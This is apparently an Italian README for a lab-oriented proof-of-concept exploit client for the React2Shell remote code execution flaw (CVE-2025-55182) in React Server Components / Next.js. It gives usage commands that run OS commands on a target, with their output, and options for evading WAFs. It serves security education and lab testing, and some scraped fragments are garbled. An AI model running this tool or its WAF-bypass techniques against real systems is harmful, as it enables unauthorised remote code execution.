
Rilevamento basato sulla precisione delle vulnerabilità di esecuzione di codice remoto in RSC/Next.js (CVE-2025-55182, CVE-2025-66478)
CVE-2025-55182 – React Server Components RCE PoC
Client exploit educativo per il laboratorio React2Shell di Hidden Investigations.
Questo repository contiene uno strumento exploit proof-of-concept (PoC) per un singolo host per la vulnerabilità React2Shell (CVE-2025-55182) che prende di mira applicazioni React Server Components / Next.js configurate in modo errato.
È progettato per essere utilizzato solo contro il laboratorio React2Shell ufficiale di Hidden Investigations o sistemi di cui si possiede esplicitamente o che si amministrano.
Questo progetto è fornito strettamente per scopi educativi e di ricerca difensiva sulla sicurezza:
Utilizzando questo strumento, accetti di rispettare tutte le leggi e le normative applicabili.
whoami predefinito)--waf-bypass, --waf-bypass-size)--vercel-waf-bypass)--insecure, intestazioni personalizzate)-o/--output, --all-results)requestsInstalla le dipendenze con:
pip install -r requirements.txt
git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 react2shell-scanner.py -h
Aiuto di base:
python3 react2shell-scanner.py -h
Lo strumento richiede un URL di destinazione:
python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# or
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"
Se lo esegui senza -t/--target o -u/--url, stampa un messaggio di aiuto con branding ed esce.
| Opzione | Descrizione | Predefinito |
|---|---|---|
-t, --target | URL o dominio di destinazione (obbligatorio a meno che non venga usato --url) | Nessuno |
-u, --url | Alias per --target (flag stile Assetnote) | Nessuno |
--path | Percorso da testare (può essere usato più volte, es. /, /_next) | / |
--path-file | File contenente i percorsi da testare (uno per riga) | Nessuno |
Nota: Questo PoC è solo per singolo host. L'opzione
-l/--listè presente ma intenzionalmente disabilitata.
| Opzione | Descrizione | Predefinito |
|---|---|---|
-c, --command | Comando da eseguire sul target (quando lo sfruttamento ha successo) | id |
--safe-check | Usa un payload SAFE_CHECK (nessun comando OS, solo una stringa marcatore) | off |
--windows | Regola i predefiniti per target Windows (es. usa whoami quando il comando è id) | off |
--waf-bypass | Anteponi un grande campo multipart spazzatura al corpo della richiesta per eludere il WAF | off |
--waf-bypass-size KB | Dimensione del campo spazzatura in KB quando si usa --waf-bypass | 128 |
--vercel-waf-bypass | Usa un layout multipart alternativo inteso a modificare il comportamento del WAF Vercel (PoC semplificato) | off |
| Opzione | Descrizione | Predefinito |
|---|---|---|
--timeout SECONDS | Timeout della richiesta in secondi | 15 (o 20 se --waf-bypass e nessun timeout impostato) |
-k, --insecure | Disabilita la verifica SSL (come curl -k) | off |
-H, --header | Intestazione personalizzata, es. -H "X-Forwarded-For: 127.0.0.1" (ripetibile) | Nessuno |
| Opzione | Descrizione | Predefinito |
|---|---|---|
-o, --output FILE | Scrivi risultati JSON in FILE | Nessuno |
--all-results | Quando si usa --output, includi anche i risultati non vulnerabili | off |
-v, --verbose | Modalità dettagliata – mostra lo stato HTTP e l'intestazione X-Action-Redirect | off |
-q, --quiet | Modalità silenziosa – stampa solo l'output del comando normalizzato in caso di successo | off |
--no-color | Disabilita output colorato nel terminale | off |
Esempio di modalità silenziosa (output bello, multi-linea):
python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"
Output:
total 12
drwxr-xr-x 1 root root 10 Dec 13 21:13 .
drwxr-xr-x 1 root root 0 Dec 13 21:13 ..
drwxr-xr-x 1 nextjs nodejs 12 Dec 13 21:13 .next
drwxr-xr-x 1 nextjs nodejs 396 Dec 13 21:13 node_modules
-rw-r--r-- 1 nextjs nodejs 733 Dec 13 21:13 package.json
drwxr-xr-x 1 root root 12 Dec 13 19:13 public
-rw-r--r-- 1 nextjs nodejs 5661 Dec 13 21:13 server.js
I seguenti flag esistono per rispecchiare la CLI di Assetnote, ma non sono implementati in questo PoC per evitare un uso improprio della scansione di massa:
| Opzione | Stato |
|---|---|
-l, --list | Non implementato |
--threads N | Non implementato |
Se usi -l/--list, lo strumento stamperà un avviso e uscirà, suggerendo di usare lo react2shell-scanner originale di Assetnote per scansioni sicure su larga scala.
Esegui contro il laboratorio locale:
python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"
Usa bypass WAF con un campo spazzatura più grande:
python3 react2shell-scanner.py -t http://localhost:3000 --waf-bypass --waf-bypass-size 256 -c "id"
Percorsi multipli sullo stesso host:
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next/data -c "id"
Percorsi da file:
python3 react2shell-scanner.py -t http://localhost:3000 --path-file paths.txt -c "id"
Modalità controllo sicuro (nessun comando OS eseguito):
python3 react2shell-scanner.py -t http://localhost:3000 --safe-check
Output JSON dei risultati su file:
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next -c "id" -o results.json --all-results
Quando si usa -o/--output, lo strumento scrive un array di oggetti come:
[
{
"url": "http://localhost:3000/",
"path": "/",
"success": true,
"status": "success",
"output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
"http": {
"status_code": 302,
"headers": {
"X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
"...": "..."
}
}
}
]
react2shell-scanner.Questo progetto è concesso in licenza secondo i termini della Licenza MIT. Vedi LICENSE per i dettagli.
📬 Contattaci: [email protected]